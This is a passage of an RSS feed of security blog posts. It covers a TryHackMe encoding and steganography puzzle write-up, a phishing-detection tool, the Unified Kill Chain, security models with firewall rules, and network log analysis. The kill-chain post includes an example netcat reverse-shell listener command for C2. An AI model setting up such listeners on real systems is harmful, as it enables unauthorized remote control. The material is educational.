<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Mahidul Haque on Medium]]></title>
        <description><![CDATA[Stories by Mahidul Haque on Medium]]></description>
        <link>https://medium.com/@mahidulhq?source=rss-a239d211d2ec------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*sA2S91tTh0KiLbn7WWwv_A.jpeg</url>
            <title>Stories by Mahidul Haque on Medium</title>
            <link>https://medium.com/@mahidulhq?source=rss-a239d211d2ec------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 22 Nov 2026 04:33:05 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@mahidulhq/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[TryHackMe — The Impossible Challenge Writeup]]></title>
            <link>https://mahidulhq.medium.com/the-impossible-challenge-writeup-977bbbd4e714?source=rss-a239d211d2ec------2</link>
            <guid isPermaLink="false">https://medium.com/p/977bbbd4e714</guid>
            <category><![CDATA[cryptography]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[capture-the-flag]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Mahidul Haque]]></dc:creator>
            <pubDate>Wed, 21 Oct 2026 11:13:11 GMT</pubDate>
            <atom:updated>2026-10-21T11:15:17.297Z</atom:updated>
            <content:encoded><![CDATA[<h3>Overview</h3><ul><li><strong>Platform:</strong> <a href="https://tryhackme.com/room/theimpossiblechallenge">TryHackMe</a></li><li><strong>Difficulty:</strong> Easy / Medium</li><li><strong>Category/Skills:</strong> Cryptography, Layered Encoding, Unicode Steganography, StegAnalysis</li><li><strong>Author Notes:</strong> A puzzle machine that relies heavily on obfuscation techniques, zero-width steganography, and multi-stage decryption rather than standard network services.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*huZABTYdB3-8wObd.png" /><figcaption>cvr</figcaption></figure><h3>Challenge Description</h3><p>This challenge features a password-protected zip file (Impossible.zip) containing a single flag file. The objective is to decode a multi-layered encrypted string found in the room description to discover a clue, extract a hidden zip password embedded as zero-width Unicode characters within the room&#39;s text, and extract the flag.</p><h3>Tools Used</h3><ul><li><strong>Enumeration:</strong> CyberChef, Browser Developer Tools (Inspect Element)</li><li><strong>Steganography &amp; Cryptography:</strong> CyberChef (ROT13, ROT47, Hex, Base64), Unicode Steganography Decoder</li><li><strong>Extraction:</strong> unzip</li></ul><h3>Reconnaissance &amp; Enumeration</h3><h3>Step 1.1: Web Page Inspection &amp; Cipher Analysis</h3><p><strong>Objective:</strong> Identify initial clues and encoded strings provided in the task description.</p><ol><li>Upon downloading Impossible.zip, opening it prompts for a password. Inside the zip:</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8xbQjLgN7gGRSaujZ89nwg.png" /><figcaption>inside the zip</figcaption></figure><p>2. Examining the room description reveals a suspicious string:</p><p>qo qt q` r6 ro su pn s_ rn r6 p6 s_ q2 ps qq rs rp ps rt r4 pu pt qn r4 rq pt q` so pu ps r4 sq pu ps q2 su rn on oq o_ pu ps ou r5 pu pt r4 sr rp qt pu rs q2 qt r4 r4 ro su pq o5</p><h3>Step 1.2: Decoding the Cipher Chain</h3><p><strong>Objective:</strong> Decrypt the provided text through its successive encoding layers using CyberChef.</p><pre>1. ROT13 Shift:<br>   db ---------------------------------------------------b5<br>2. ROT47 Shift:<br>   53 ------------------------------------------------------3d<br>3. From Hex:<br>   SXQncyBpbnNpZ------------------------------------e<br>4. Base64 Decode:<br>   It&#39;s inside the text, in front of your eyes!</pre><p><strong>Findings:</strong> The clue directs attention directly to the text displayed on the page itself (“Hmm” / description area).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cvyNDX7fIDKhDVywZRbpaw.png" /><figcaption>room description</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sfdm-9-9jIk3E0ZdzsRP4A.png" /><figcaption>if you paste the room description its shows like these</figcaption></figure><h3>Vulnerability Identification</h3><h3>Vulnerability 1: Zero-Width Unicode Steganography</h3><ul><li><strong>Description:</strong> Data is hidden within visible plain text using invisible zero-width Unicode characters (\ufeff, \u200b, \u200c, \u200d).</li><li><strong>Severity:</strong> Low (Information Disclosure / Obfuscation)</li><li><strong>Evidence:</strong> Inspecting the text DOM node via Developer Tools reveals a hidden length.</li></ul><h3>Exploitation</h3><h3>Step 2.1: Extracting Hidden Zero-Width Payload</h3><ol><li>Open the browser Developer Tools (F12) and inspect the task header containing the word Hmm.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qSANH6pKGnE_z5NbKKL5Fg.png" /><figcaption>if you inspect the page</figcaption></figure><p>2. Copy the entire raw text of the title/description string containing the non-printable Unicode characters.</p><p>3. Paste the text into a<a href="http://330k.github.io/misc_tools/unicode_steganography.html"> Unicode Steganography Decoder.</a></p><p><strong>Output Password:</strong> h######z</p><h3>Step 2.2: Extracting the Zip File &amp; Capturing the Flag</h3><p>With the discovered zip password:</p><pre>unzip Impossible.zip<br># Entering password: ########<br>cat flag.txt</pre><p><strong>Output:</strong></p><pre>You have solved the Impossible Challenge! Here is your flag THM{--------------}</pre><h3>Post-Exploitation &amp; Flag Capture</h3><ul><li><strong>Flag Captured:</strong> THM{Z############################Z}</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=977bbbd4e714" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TERMINATOR — A Threat Intelligence Tool for Phishing Detection (project)]]></title>
            <link>https://mahidulhq.medium.com/terminator-a-threat-intelligence-tool-for-phishing-detection-project-996b21e1878c?source=rss-a239d211d2ec------2</link>
            <guid isPermaLink="false">https://medium.com/p/996b21e1878c</guid>
            <category><![CDATA[cli]]></category>
            <category><![CDATA[tools]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <dc:creator><![CDATA[Mahidul Haque]]></dc:creator>
            <pubDate>Sun, 13 Sep 2026 16:42:07 GMT</pubDate>
            <atom:updated>2026-09-13T16:43:56.462Z</atom:updated>
            <content:encoded><![CDATA[<p>Every single day, millions of people click on links sent through emails, text messages, and social media. While most links lead to legitimate websites, a single wrong click on a fraudulent link can expose passwords, bank details, or sensitive personal data. These fake websites are known as phishing attacks digital traps carefully crafted by cybercriminals to mimic real, trusted brands.</p><p><strong><em>Github Repository</em></strong>: <a href="https://github.com/mahidulhq/TERMINATOR"><em>https://github.com/mahidulhq/TERMINATOR</em></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xqPg_nAXABZTkGCibw43kQ.png" /><figcaption>interface on cli</figcaption></figure><h3>Core Cybersecurity Concepts Used in TERMINATOR</h3><p><strong>TERMINATOR </strong>brings several fundamental cybersecurity principles into a single, automated assistant:</p><ul><li><strong>Threat Intelligence:</strong> Cyber threat intelligence is the practice of gathering data about active digital threats to prevent attacks. <strong>TERMINATOR </strong>connects directly to VirusTotal, a global threat intelligence database to check if major security vendors around the world have already blacklisted a suspicious website.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/901/1*Q-JzR3DB1qBCnxCqbBh7iw.png" /><figcaption>virustotal [blue coloured text] url scan result</figcaption></figure><ul><li><strong>Static Heuristic Analysis:</strong> Rather than waiting for a site to cause harm, heuristic analysis looks at the inherent structure, formatting, and characteristics of a link to detect suspicious patterns before the page even loads.</li><li><strong>Obfuscation Detection: </strong>Cybercriminals often hide (“obfuscate”) their true intentions behind misleading web addresses. <strong>TERMINATOR </strong>inspects the link layer by layer to uncover hidden destinations and trickery.</li></ul><h3>How It Analyzes a Link</h3><p>When you feed a web link into <strong>TERMINATOR</strong>, it puts the address through a series of automated safety checks. Here is the exact logic the tool uses to evaluate risk:</p><h4>Step 1: Protocol Inspection (Checking for Encryption)</h4><ul><li><strong>The Logic: TERMINATOR </strong>checks if the link starts with https:// (secure) or http:// (unencrypted).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/751/1*GJ_Sx7vns_buaDMpXZ0x0A.png" /><figcaption>scanned result</figcaption></figure><ul><li><strong>Why We Use It: </strong>HTTPS encrypts data sent between your browser and the website. While many modern phishing sites now use HTTPS, legacy or quickly generated fake sites still rely on plain HTTP. If a site lacks basic encryption, TERMINATOR raises an initial warning flag.</li></ul><h4>Step 2: Hostname Verification (IP Addresses vs. Domain Names)</h4><ul><li><strong>The Logic:</strong> Legitimate websites use domain names (like google.com or bank.com). Phishing links sometimes use raw IP numbers directly (like http://192.168.1.1/login). TERMINATOR checks if the link points to a raw IP address.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/776/1*87yiKwczQu2Uh1WVpd65qg.png" /><figcaption>scanned result</figcaption></figure><ul><li><strong>Why We Use It:</strong> Hackers often use raw IP addresses when setting up temporary, disposable servers to avoid registering an official domain name. Flagging raw IP addresses instantly isolates high-risk infrastructure.</li></ul><h4>Step 3: Typosquatting and Brand Imitation Detection</h4><ul><li><strong>The Logic: </strong>Attackers register domain names that look almost identical to major brands (for example, using paypa1.com instead of paypal.com, or micros0ft.com instead of microsoft.com). TERMINATOR uses a mathematical algorithm called Levenshtein Distance to measure character differences between the incoming link and a list of protected commercial brands. It also checks for Punycode (IDN) tricks a technique where attackers use non-Latin characters (like Cyrillic letters) that look identical to regular letters.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/891/1*zk4Mzt5i_WsmUmblrB3wqQ.png" /><figcaption>scanned result</figcaption></figure><ul><li><strong>Why We Use It:</strong> Human eyes are easily fooled by subtle typos or visually identical foreign characters. By calculating the exact mathematical “string distance” between a domain and actual brand names, TERMINATOR detects domain spoofing instantly.</li></ul><h4>Step 4: Randomness Detection (Shannon Entropy)</h4><ul><li><strong>The Logic:</strong> <strong>TERMINATOR </strong>measures the mathematical randomness of the letters and numbers in a domain name using Shannon Entropy.</li><li><strong>Why We Use It: </strong>When cybercriminals launch large-scale phishing campaigns, they often use automated scripts (Domain Generation Algorithms, or DGAs) to churn out hundreds of random, gibberish web addresses (like x8q29z-login-check.com). High string randomness is a classic sign of machine-generated malware domains.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/671/1*XCHXgrd7RZyGWDRPE2MjoA.png" /><figcaption>scan of the url</figcaption></figure><h4>Step 5: Redirection Chain Tracing</h4><ul><li><strong>The Logic: TERMINATOR </strong>follows a link step-by-step to see where it ultimately leads, keeping track of how many times the link jumps (“redirects”) from one web address to another.</li><li><strong>Why We Use It:</strong> Phishers love to hide malicious websites behind multiple link shorteners or compromised intermediate web pages to confuse security filters. Tracing the full redirection path exposes the final destination URL regardless of how many detours the attacker set up.</li></ul><h3>The Risk Score</h3><p>Once <strong>TERMINATOR </strong>completes all its inspections, it doesn’t just throw raw data at you; it translates its findings into a clear, understandable score:</p><ul><li><strong>0 to 3 out of 10:</strong> <em>LOW RISK / CLEAN</em>. The link passes structural safety checks.</li><li><strong>4 to 6 out of 10: </strong><em>SUSPICIOUS </em>Multiple warning signs were found (e.g., redirection chains, high randomness). Caution is strongly advised.</li><li><strong>7 to 10 out of 10:</strong> <em>HIGH RISK / MALICIOUS</em> Critical threats were detected (e.g., direct brand imitation, known VirusTotal flags). Do not open the link.</li></ul><h3>Built for Accessibility and Open Collaboration</h3><p><strong>TERMINATOR </strong>was designed as an open-source tool written in Python. Whether you run it directly through Python source code or use the standalone executable for Windows, it keeps analysis fast, transparent, and accessible to non-technical users and security professionals alike.</p><p>By combining local structural checks with live global threat data, <strong>TERMINATOR </strong>gives users the clarity they need to navigate the web safely, turning complex cybersecurity data into actionable decisions.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=996b21e1878c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Unified Kill Chain (UKC)]]></title>
            <link>https://mahidulhq.medium.com/unified-kill-chain-ukc-43c148d4d0aa?source=rss-a239d211d2ec------2</link>
            <guid isPermaLink="false">https://medium.com/p/43c148d4d0aa</guid>
            <category><![CDATA[tech]]></category>
            <category><![CDATA[framework]]></category>
            <category><![CDATA[cyber-security-awareness]]></category>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Mahidul Haque]]></dc:creator>
            <pubDate>Sat, 12 Sep 2026 03:08:39 GMT</pubDate>
            <atom:updated>2026-09-12T03:08:39.147Z</atom:updated>
            <content:encoded><![CDATA[<p>The Unified Kill Chain (UKC) is an advanced cybersecurity att<strong>a</strong>ck framework designed by Paul Pols (2017, updated 2022) to model, analyze, and disrupt modern cyberattacks. It builds upon older models such as the Lockheed Martin Cyber Kill Chain and MITRE ATT&amp;CK by providing an 18-phase structure that reflects modern attack behaviors.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*WlV7px6rRkezprYs" /><figcaption>Photo by <a href="https://unsplash.com/@kar111?utm_source=medium&amp;utm_medium=referral">Karine Avetisyan</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>Unlike linear models, the UKC accounts for the iterative nature of real-world threats. Attackers frequently cycle back and forth through phases (e.g., performing post-exploitation reconnaissance to move to another system).</p><h3>The 18 phases are grouped into three main attack phases:</h3><ol><li><strong>In (Initial Access): </strong>Investigating targets, bypassing defenses, gaining an initial foothold, and establishing remote control.</li><li><strong>Through (Network Penetration):</strong> Escalating permissions, gathering internal intelligence, and moving laterally to reach critical assets.</li><li><strong>Out (Action on Objectives):</strong> Collecting, exfiltrating, or destroying data to achieve socio-technical and strategic goals.</li></ol><blockquote>The UKC complements threat modeling methodologies like STRIDE, DREAD, and CVSS to help security teams identify attack surfaces, assess operational risk, and implement preventive controls.</blockquote><h3>Practical Analysis &amp; Techniques</h3><p><strong><em>1. Phase Category: In (Gaining Access)</em></strong></p><ul><li><strong>Reconnaissance (</strong><strong>MITRE TA0043): </strong>Gathering target intelligence using passive or active techniques (scanning open ports, scraping employee lists, mapping network topologies).</li><li><strong>Weaponization (</strong><strong>MITRE TA0001): </strong>Setting up attack infrastructure, such as C2 listening servers or payload distribution hosts.</li><li><strong>Social Engineering (</strong><strong>MITRE TA0001):</strong> Manipulating human targets through phishing emails, credential harvesting pages, or pretexting calls.</li><li><strong>Delivery:</strong> Transmitting the weaponized payload to the targeted system or user.</li><li><strong>Exploitation (</strong><strong>MITRE TA0002): </strong>Weaponizing system or software vulnerabilities to execute unauthorized code (e.g., executing a remote shell payload).</li><li><strong>Persistence (</strong><strong>MITRE TA0003): </strong>Implementing mechanisms to retain target access after reboots or security actions (e.g., malicious services, startup scripts).</li><li><strong>Defense Evasion (</strong><strong>MITRE TA0005): </strong>Bypassing protective controls like firewalls, Endpoint Detection and Response (EDR), and Antivirus software.</li><li><strong>Command &amp; Control (C2) (</strong><strong>MITRE TA0011): </strong>Establishing encrypted communication channels to control the compromised system remotely.</li><li><strong>Pivoting (</strong><strong>MITRE TA0008): </strong>Routing traffic through the initial foothold to target internal networks that are not internet-accessible.</li></ul><pre># Example: Setting up a netcat reverse shell listener for C2/Foothold<br><br>nc -lvnp 4444 # Listens on port 4444 for incoming connection from target</pre><p><strong><em>2. Phase Category: Through (Internal Navigation)</em></strong></p><ul><li><strong>Discovery (</strong><strong>MITRE TA0007): </strong>Enumerating internal systems, active accounts, local permissions, shared drives, and network topology.</li><li><strong>Privilege Escalation (</strong><strong>MITRE TA0004):</strong> Exploiting local misconfigurations to elevate access to administrative privileges (SYSTEM/root).</li><li><strong>Execution (</strong><strong>MITRE TA0002): </strong>Running remote access trojans (RATs), C2 agents, or malicious scheduled tasks on internal machines.</li><li><strong>Credential Access (</strong><strong>MITRE TA0006): </strong>Stealing legitimate credentials using keyloggers or dumping SAM/LSASS memory.</li><li><strong>Lateral Movement (</strong><strong>MITRE TA0008): </strong>Leveraging compromised credentials to traverse horizontally across internal systems.</li></ul><pre># Example: Simple internal discovery via Command Prompt / PowerShell<br><br>net localgroup administrators # Enumerates local administrators on the target machine</pre><p><strong><em>3. Phase Category: Out (Action on Objectives)</em></strong></p><ul><li><strong>Collection (</strong><strong>MITRE TA0009): </strong>Gathering high-value target data from internal storage, emails, browsers, or databases.</li><li><strong>Exfiltration (</strong><strong>MITRE TA0010): </strong>Compressing and encrypting stolen data before transferring it outside the network over C2 tunnels.</li><li><strong>Impact (</strong><strong>MITRE TA0040): </strong>Compromising system integrity or availability via data wipe operations, ransomware encryption, or Denial-of-Service (DoS) attacks.</li><li><strong>Objectives:</strong> Achieving strategic end goals, such as financial extortion, corporate espionage, or public reputation damage.</li></ul><h4>Framework Comparison: UKC vs. Legacy Models</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IhdMNM-sQER5qrKCSkPwJw.png" /><figcaption>UKC vs. Legacy Models</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=43c148d4d0aa" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cybersecurity Principles & Security Models]]></title>
            <link>https://mahidulhq.medium.com/cybersecurity-principles-security-models-9938ed2c9aa3?source=rss-a239d211d2ec------2</link>
            <guid isPermaLink="false">https://medium.com/p/9938ed2c9aa3</guid>
            <category><![CDATA[cyber-security-awareness]]></category>
            <category><![CDATA[tech]]></category>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Mahidul Haque]]></dc:creator>
            <pubDate>Tue, 08 Sep 2026 07:04:58 GMT</pubDate>
            <atom:updated>2026-09-08T07:04:58.450Z</atom:updated>
            <content:encoded><![CDATA[<p>Understanding cybersecurity requires analyzing the relationship between assets, threats, and defensive mechanisms. Security measures balance accessibility against exposure, recognizing that no system achieves absolute security.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zXmoG-l_KUkIYKk2_84LKg.jpeg" /><figcaption>cvr</figcaption></figure><h3>Core Terminology</h3><ul><li><strong>Vulnerability: </strong>A flaw or weakness in system design, implementation, or operation that could be exploited.</li><li><strong>Threat: </strong>Any potential circumstance or event with the capacity to adversely impact an asset via unauthorized access, destruction, disclosure, or modification.</li><li><strong>Risk:</strong> The mathematical or analytical intersection of threat probability and business impact resulting from an exploited vulnerability (Risk = Threat x Vulnerability x Impact)</li></ul><h3>The CIA Triad vs. The DAD Triad</h3><p>The standard model for information security balances three core objectives against their adversarial opposites:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qO_f_wDpVAkZEqXbpL6wgQ.jpeg" /><figcaption>Security Triads &amp; Frameworks</figcaption></figure><ul><li><strong>Confidentiality: </strong>Restricts access to authorized entities. <em>(Opposite: Disclosure)</em></li><li><strong>Integrity:</strong> Ensures data remains unaltered and accurate throughout its lifecycle. <em>(Opposite: Alteration)</em></li><li><strong>Availability:</strong> Guarantees timely, reliable access to resources for authorized users. <em>(Opposite: Destruction / Denial)</em></li></ul><h3>Extended Security Attributes</h3><ul><li><strong>Authenticity: </strong>Validates that data, transactions, or entities originate from their claimed source.</li><li><strong>Non-Repudiation: </strong>Ensures an entity cannot deny the authenticity of their signature on a document or the sending of a message that they originated.</li></ul><h3>The Parkerian Hexad</h3><p>Expands the CIA triad into six distinct attributes to address modern data states:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/728/1*EErYd_pyM45ryvaeGCstpQ.png" /></figure><h3>Mathematical &amp; Formal Security Models</h3><p>Formal security models define access control rules to enforce confidentiality or integrity policies within multi-level secure environments.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/749/1*TiimT--D4Tq8N8aK_W0rNQ.png" /></figure><h3>Bell-LaPadula Model (Confidentiality)</h3><p>Designed to enforce state-level confidentiality boundaries using mandatory access controls.</p><ul><li><strong>Simple Security Property (NRU): </strong><em>No Read Up.</em> A subject at a lower clearance level cannot read data at a higher classification level.</li><li><strong>Security Property (NWD): </strong><em>No Write Down.</em> A subject at a higher clearance level cannot write data to a lower classification level.</li><li><strong>Discretionary Security Property:</strong> Uses an Access Control Matrix () to govern specific subject-to-object permissions.</li></ul><h3>Biba Model (Integrity)</h3><p>Designed to prevent unauthorized modification of data. It reverses the access rules of Bell-LaPadula.</p><ul><li><strong>Simple Integrity Property (NRD):</strong> <em>No Read Down.</em> A subject at a higher integrity level cannot read data from a lower integrity level.</li><li><strong>Integrity Property (NWU):</strong> <em>No Write Up.</em> A subject at a lower integrity level cannot write data to a higher integrity level.</li></ul><h3>Clark-Wilson Model (Commercial Integrity)</h3><p>Enforces integrity through well-formed transactions and segregation of duties.</p><ul><li><strong>Constrained Data Item (CDI):</strong> Data subject to integrity control.</li><li><strong>Unconstrained Data Item (UDI): </strong>Data outside control (e.g., raw user input).</li><li><strong>Transformation Procedures (TPs): </strong>Programmed operations maintaining CDI integrity.</li><li><strong>Integrity Verification Procedures (IVPs):</strong> Automated procedures confirming CDIs match valid states.</li></ul><h3>ISO/IEC 19249 Architecture &amp; Design Framework</h3><p>ISO/IEC 19249 provides standardized guidelines for structural security architecture and application design.</p><h3>Architectural Principles</h3><ol><li><strong>Domain Separation:</strong> Isolates execution environments and resources with dedicated security attributes (e.g., hardware execution rings like CPU Ring 0 vs. Ring 3).</li><li><strong>Layering: </strong>Implements security controls across multiple abstract levels to validate operations (e.g., OSI model networking controls).</li><li><strong>Encapsulation: </strong>Restricts direct access to internal data structures, enforcing access strictly through validated interfaces or APIs.</li><li><strong>Redundancy: </strong>Guarantees availability and operational integrity via fault-tolerant components (e.g., RAID arrays, redundant power supplies).</li><li><strong>Virtualization: </strong>Creates isolated execution environments (sandboxes) on shared hardware to limit impact from untrusted execution.</li></ol><h3>Design Principles</h3><ol><li><strong>Least Privilege:</strong> Grants the minimum necessary access rights required for an entity to perform an assigned task.</li><li><strong>Attack Surface Minimization: </strong>Disables non-essential features, protocols, and services to reduce available exploitation vectors.</li><li><strong>Centralized Parameter Validation: </strong>Routes all incoming input through unified sanitization libraries to prevent injection attacks and memory corruption.</li><li><strong>Centralized General Security Services: </strong>Consolidates authentication, authorization, and logging into centralized services (e.g., Identity and <strong>Access Management servers).</strong></li><li><strong>Fail-Safe Error/Exception Handling: </strong>Enforces safe default behaviors during failure states (e.g., drop-all firewall behavior) without leaking sensitive system data in error logs.</li></ol><h3>Architectural Trust Paradigms</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OuPRcD7Lu1pBIu8CGBCghQ.jpeg" /></figure><h3>Trust But Verify</h3><p>Assumes internal traffic and users carry implicit trust, but relies on monitoring systems to audit behavior.</p><ul><li><strong>Mechanism: </strong>Employs centralized logging, Security Information and Event Management (SIEM) tools, and Network Intrusion Detection Systems (NIDS).</li></ul><h3>Zero Trust Architecture (ZTA)</h3><p>Removes implicit trust based on network location or ownership. Every request must be authenticated, authorized, and encrypted prior to grant.</p><ul><li><strong>Core Mandate:</strong> <em>Never Trust, Always Verify.</em></li><li><strong>Implementation Vector: </strong>Microsegmentation isolates workloads down to individual hosts or containers, enforcing strict Access Control Lists (ACLs) across all inter-segment communications.</li></ul><h3>Network Microsegmentation Configuration</h3><p>Configuring explicit inbound filtering rules via nftables to enforce Zero Trust microsegmentation at the host layer:</p><pre>#!/usr/bin/env bash<br># Flush default tables to build a deny-by-default environment<br>nft flush ruleset<br><br># Define IP family table<br>nft add table inet zero_trust_filter<br><br># Create input chain with a default DROP policy (Fail-Safe / Zero Trust)<br>nft add chain inet zero_trust_filter input { type filter hook input priority 0 \; policy drop \; }<br><br># Allow loopback interface traffic explicitly<br>nft add rule inet zero_trust_filter input iifname &quot;lo&quot; accept<br><br># Allow established/related state connection tracking<br>nft add rule inet zero_trust_filter input ct state established,related accept<br><br># Enforce microsegmentation: Only allow explicit, authenticated SSH traffic from management host (10.0.5.50)<br>nft add rule inet zero_trust_filter input ip saddr 10.0.5.50 tcp dport 22 accept</pre><h3>Centralized Parameter Validation Example</h3><p>Enforcing parameter validation using modern standard patterns in Python:</p><pre>import ipaddress<br>import sys<br><br>def validate_management_input(ip_str: str) -&gt; str:<br>    &quot;&quot;&quot;<br>    Centralized validation function to sanitize user-provided IP input.<br>    Prevents command injection and parameter pollution.<br>    &quot;&quot;&quot;<br>    try:<br>        # Enforce strict parsing using standard IP address library<br>        sanitized_ip = ipaddress.ip_address(ip_str)<br>        <br>        # Enforce Least Privilege/Domain Check: Restrict to private ranges<br>        if not sanitized_ip.is_private:<br>            raise ValueError(&quot;Provided address is not within acceptable management domain.&quot;)<br>            <br>        return str(sanitized_ip)<br>    except ValueError as e:<br>        # Fail-Safe Exception Handling: Log error safely without exposing memory/stack traces<br>        sys.stderr.write(f&quot;[ERROR] Input validation failed: {e}\n&quot;)<br>        sys.exit(1)<br><br># Example invocation<br>target_address = &quot;192.168.1.100&quot;<br>valid_ip = validate_management_input(target_address)</pre><h3>Cloud Shared Responsibility Matrix</h3><p>Security obligations shift based on the deployment delivery model:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/738/1*Z_O4UJB0SEy-k83JG45adA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9938ed2c9aa3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Network Log Analysis & Perimeter Monitoring]]></title>
            <link>https://mahidulhq.medium.com/network-log-analysis-perimeter-monitoring-19e26f45156e?source=rss-a239d211d2ec------2</link>
            <guid isPermaLink="false">https://medium.com/p/19e26f45156e</guid>
            <category><![CDATA[networking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[network-security]]></category>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[splunk]]></category>
            <dc:creator><![CDATA[Mahidul Haque]]></dc:creator>
            <pubDate>Mon, 07 Sep 2026 04:03:46 GMT</pubDate>
            <atom:updated>2026-09-07T04:03:46.222Z</atom:updated>
            <content:encoded><![CDATA[<p>Network-centric security monitoring relies on analyzing traffic between hosts across system boundaries. Combining host logs (internal activity) with network logs (perimeter movement) provides full visibility to identify attack vectors and build incident timelines.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8Zl-vaQaiRWTN0wcCItO9A.jpeg" /><figcaption>cvr</figcaption></figure><h4>Overview &amp; Core Concepts</h4><ul><li><strong>Network Perimeter: </strong>The boundary separating trusted internal networks (Active Directory, file servers, workstations) from untrusted external networks (the internet).</li><li><strong>Log Correlation: </strong>Cross-referencing firewall, IDS/IPS, and authentication logs to trace an attack from initial access through exfiltration.</li></ul><h4><strong>Key Log Sources</strong></h4><ul><li><strong>Firewalls: </strong>Log allowed/blocked connections based on IP, port, and security rules. First line of defense for edge exposure.</li><li><strong>IDS/IPS (Intrusion Detection/Prevention Systems): </strong>Analyze traffic against signatures or behavioral anomalies to detect active exploits.</li><li><strong>Web Application Firewalls (WAF): </strong>Monitor application-layer HTTP/HTTPS traffic to block web attacks (SQLi, XSS, Directory Traversal).</li><li><strong>VPN Gateways:</strong> Record authentication attempts, source IPs, timestamp data, and assigned internal IPs for remote connections.</li><li><strong>Flow Data (Routers/Switches): </strong>Provide summary statistics on communications (endpoints, duration, traffic volume).</li></ul><h4>Network Perimeter Architecture</h4><p>The network perimeter divides trusted internal assets from untrusted external networks.</p><ul><li><strong>Firewalls:</strong> Filter traffic between internal and external networks.</li><li><strong>DMZ (Demilitarized Zone):</strong> Isolates public-accessible services (web, mail) from internal networks.</li><li><strong>VPN Gateways: </strong>Secure external connection pathways for remote workers.</li></ul><h4>Practical Analysis &amp; Investigation Techniques</h4><ol><li>Log Analysis Tools &amp; Indexing SOC Analysts can analyze raw log files using Linux command-line utilities (grep, cut, sort, uniq) or ingest them into a SIEM like Splunk.</li></ol><ul><li>Splunk Search Target: index=&quot;network_logs&quot;</li><li>Sourcetypes: firewall_logs, ids_logs, vpn_logs</li></ul><p>2. CLI Command Examples &amp; Detection Workflows</p><ul><li>Identify Top Blocked IPs (Reconnaissance Detection)</li></ul><p># Filter blocked traffic, parse source IPs, count and sort unique occurrences cat firewall.log | grep &quot;BLOCK&quot; | cut -d&#39; &#39; -f5 | cut -d: -f1 | sort -nr | uniq -c</p><ul><li>Detect VPN Brute-Force Attempts (Credential Access)</li></ul><p># Identify IP addresses with the highest count of failed authentication attempts cat vpn_auth.log | grep &quot;FAIL&quot; | cut -d&#39; &#39; -f3 | sort -nr | uniq -c</p><ul><li>Trace Lateral Movement via Internal Exploits Bash</li></ul><p># Search IDS logs for internal IP activity matching lateral movement exploits (e.g., SMB/RDP/SSH) cat ids_alerts.log | grep &quot;&lt;INTERNAL_IP&gt;&quot; | grep &#39;SMB&#39; | cut -d&#39; &#39; -f6,7,8,9,10,19,21</p><ul><li>Detect C2 Beaconing &amp; Data Exfiltration Bash</li></ul><p># Identify high-frequency or regular outbound C2 alerts and large HTTP POST transfers cat ids_alerts.log | grep -n &quot;&lt;SUSPICIOUS_IP&gt;&quot; | sort -nr | uniq -c</p><h4>Traffic Behavior Patterns</h4><figure><img alt="" 